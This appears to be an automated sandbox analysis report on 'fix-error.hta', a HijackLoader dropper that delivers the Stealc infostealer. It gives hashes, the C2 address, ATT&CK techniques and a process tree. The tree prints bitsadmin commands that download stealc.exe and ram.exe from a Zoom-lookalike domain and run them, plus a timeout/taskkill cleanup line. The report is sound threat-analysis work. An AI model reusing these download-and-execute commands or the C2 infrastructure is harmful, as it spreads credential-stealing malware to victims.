hijackloader | 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

General

Target

fix-error.hta
Size

74KB
MD5

acfba6ff2e80e0ebc80df9e7d326337c
SHA1

fe28d5756815fdac31a744a2f11c075f5b1892bc
SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
SHA512

2dcea669b4b3135bca6eba88542948188e25fb040db0a83bac03957b1fd59037998e7bb4a38774115ca051f07cbeacf99fd95113321e6c8fae4568a2e4e30f00
SSDEEP

768:BfaGWSO85ALmEcHUfkJ7Bate4LV1VZ6Y3PaNNHpXKMcpgUj:gGZALNcH77BajLbf61NR1pcbj

Score

10^/10

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

Malware Config

Extracted

Family

stealc

Botnet

sneprivate29

C2

http://95.182.97.58

Attributes

url_path
/84b7b6f977dd1c65.php

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2596-21-0x0000000000400000-0x0000000000561000-memory.dmp	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exe

flow pid process

5 2616 mshta.exe
7 2616 mshta.exe
9 2616 mshta.exe
11 2616 mshta.exe
15 2616 mshta.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

2768 bitsadmin.exe
1092 bitsadmin.exe
Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
phishing google
Suspicious use of SetThreadContext 1 IoCs

Processes:

stealc.exe

description pid process target process

PID 2596 set thread context of 1944 2596 stealc.exe cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3032 1036 WerFault.exe explorer.exe

flow	pid	process
5	2616	mshta.exe
7	2616	mshta.exe
9	2616	mshta.exe
11	2616	mshta.exe
15	2616	mshta.exe

pid	process
2768	bitsadmin.exe
1092	bitsadmin.exe

description	pid	process	target process
PID 2596 set thread context of 1944	2596	stealc.exe	cmd.exe

pid	pid_target	process	target process
3032	1036	WerFault.exe	explorer.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.execmd.exetimeout.exebitsadmin.exebitsadmin.exetimeout.exestealc.execmd.exetaskkill.exeexplorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2652 timeout.exe
2644 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

484 taskkill.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

stealc.execmd.exeexplorer.exe

pid process

2596 stealc.exe
2596 stealc.exe
1944 cmd.exe
1944 cmd.exe
1036 explorer.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

stealc.execmd.exe

pid process

2596 stealc.exe
1944 cmd.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 484 taskkill.exe

pid	process
2652	timeout.exe
2644	timeout.exe

pid	process
484	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
2596	stealc.exe
2596	stealc.exe
1944	cmd.exe
1944	cmd.exe
1036	explorer.exe

pid	process
2596	stealc.exe
1944	cmd.exe

description	pid	process
Token: SeDebugPrivilege	484	taskkill.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

mshta.execmd.exestealc.execmd.exeexplorer.exe

description	pid	process	target process
PID 2616 wrote to memory of 2836	2616	mshta.exe	cmd.exe
PID 2616 wrote to memory of 2836	2616	mshta.exe	cmd.exe
PID 2616 wrote to memory of 2836	2616	mshta.exe	cmd.exe
PID 2616 wrote to memory of 2836	2616	mshta.exe	cmd.exe
PID 2616 wrote to memory of 2768	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 2768	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 2768	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 2768	2616	mshta.exe	bitsadmin.exe
PID 2836 wrote to memory of 2644	2836	cmd.exe	timeout.exe
PID 2836 wrote to memory of 2644	2836	cmd.exe	timeout.exe
PID 2836 wrote to memory of 2644	2836	cmd.exe	timeout.exe
PID 2836 wrote to memory of 2644	2836	cmd.exe	timeout.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2596	2616	mshta.exe	stealc.exe
PID 2616 wrote to memory of 2652	2616	mshta.exe	timeout.exe
PID 2616 wrote to memory of 2652	2616	mshta.exe	timeout.exe
PID 2616 wrote to memory of 2652	2616	mshta.exe	timeout.exe
PID 2616 wrote to memory of 2652	2616	mshta.exe	timeout.exe
PID 2596 wrote to memory of 1944	2596	stealc.exe	cmd.exe
PID 2596 wrote to memory of 1944	2596	stealc.exe	cmd.exe
PID 2596 wrote to memory of 1944	2596	stealc.exe	cmd.exe
PID 2596 wrote to memory of 1944	2596	stealc.exe	cmd.exe
PID 2616 wrote to memory of 1092	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 1092	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 1092	2616	mshta.exe	bitsadmin.exe
PID 2616 wrote to memory of 1092	2616	mshta.exe	bitsadmin.exe
PID 2836 wrote to memory of 484	2836	cmd.exe	taskkill.exe
PID 2836 wrote to memory of 484	2836	cmd.exe	taskkill.exe
PID 2836 wrote to memory of 484	2836	cmd.exe	taskkill.exe
PID 2836 wrote to memory of 484	2836	cmd.exe	taskkill.exe
PID 2596 wrote to memory of 1944	2596	stealc.exe	cmd.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1944 wrote to memory of 1036	1944	cmd.exe	explorer.exe
PID 1036 wrote to memory of 3032	1036	explorer.exe	WerFault.exe
PID 1036 wrote to memory of 3032	1036	explorer.exe	WerFault.exe
PID 1036 wrote to memory of 3032	1036	explorer.exe	WerFault.exe
PID 1036 wrote to memory of 3032	1036	explorer.exe	WerFault.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 2616
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 30 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2644
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /PID 2616
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:484
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2768
- C:\Users\Admin\AppData\Local\Temp\stealc.exe
  "C:\Users\Admin\AppData\Local\Temp\stealc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1036
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 808
        5⤵
        Program crash
        
        PID:3032
- C:\Windows\SysWOW64\timeout.exe
  "C:\Windows\System32\timeout.exe" /T 2 /nobreak
  2⤵
  - System Location Discovery: System Language Discovery
  - Delays execution with timeout.exe
  PID:2652
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:1092
- C:\Users\Admin\AppData\Local\Temp\ram.exe
  "C:\Users\Admin\AppData\Local\Temp\ram.exe"
  2⤵
  PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

1

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\favicon[1].ico

Filesize
5KB

MD5
f3418a443e7d841097c714d69ec4bcb8

SHA1
49263695f6b0cdd72f45cf1b775e660fdc36c606

SHA256
6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770

SHA512
82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

Download Submit
C:\Users\Admin\AppData\Local\Temp\e08c9868

Filesize
1.0MB

MD5
12507d572b570facebbec5aebefeae6e

SHA1
9c256107da9675e6738b4755e680160b3b4129c8

SHA256
a39cf0af479e97f78371a9f72b63ec72a5653e5658386e3cd9b7eae9e01a2924

SHA512
888ee87b59e079604bc3d7a00bb70f4a490f7299b67bdc5feec0af7373dea0c4db4315456488b91b0bc28d92d3baf9911a6ffdd26f1119c38611a70e77adc135

Download Submit
memory/1036-43-0x0000000000680000-0x00000000008E3000-memory.dmp

Filesize
2.4MB

Download
memory/1036-53-0x0000000000680000-0x00000000008E3000-memory.dmp

Filesize
2.4MB

Download
memory/1036-50-0x0000000000680000-0x00000000008E3000-memory.dmp

Filesize
2.4MB

Download
memory/1036-49-0x0000000000680000-0x00000000008E3000-memory.dmp

Filesize
2.4MB

Download
memory/1036-45-0x0000000000680000-0x00000000008E3000-memory.dmp

Filesize
2.4MB

Download
memory/1036-44-0x00000000773A0000-0x0000000077549000-memory.dmp

Filesize
1.7MB

Download
memory/1944-40-0x00000000773A0000-0x0000000077549000-memory.dmp

Filesize
1.7MB

Download
memory/1944-41-0x00000000718C0000-0x0000000071A34000-memory.dmp

Filesize
1.5MB

Download
memory/2596-37-0x00000000718C0000-0x0000000071A34000-memory.dmp

Filesize
1.5MB

Download
memory/2596-23-0x00000000773A0000-0x0000000077549000-memory.dmp

Filesize
1.7MB

Download
memory/2596-22-0x00000000718C0000-0x0000000071A34000-memory.dmp

Filesize
1.5MB

Download
memory/2596-21-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads